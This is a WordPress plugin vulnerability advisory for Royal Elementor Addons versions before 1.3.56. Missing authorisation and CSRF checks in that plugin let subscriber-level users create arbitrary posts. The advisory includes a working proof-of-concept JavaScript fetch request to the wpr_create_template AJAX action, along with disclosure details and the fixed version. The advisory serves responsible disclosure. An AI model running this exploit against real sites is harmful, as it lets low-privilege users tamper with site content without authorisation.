WordPress Plugin Vulnerabilities

Royal Elementor Addons < 1.3.56 - Subscriber+ Arbitrary Post Creation

Description

The plugin does not have authorisation and CSRF checks when creating a template, and does not ensure that the post created is a template. This could allow any authenticated users, such as subscriber to create a post (as well as any post type) with an arbitrary title

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber

fetch('/wp-admin/admin-ajax.php?action=wpr_create_template', {
       method: 'POST',
       headers: {"Content-Type": "application/x-www-form-urlencoded"},
       body: 'user_template_slug=hello-world&user_template_library=post&user_template_title=Hello 2'
});

Affects Plugins

Fixed in 1.3.56

References

Classification

Type
NO AUTHORISATION
CWE

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-12-15 (about 1 years ago)
Added
2022-12-14 (about 1 years ago)
Last Updated
2022-12-14 (about 1 years ago)

Other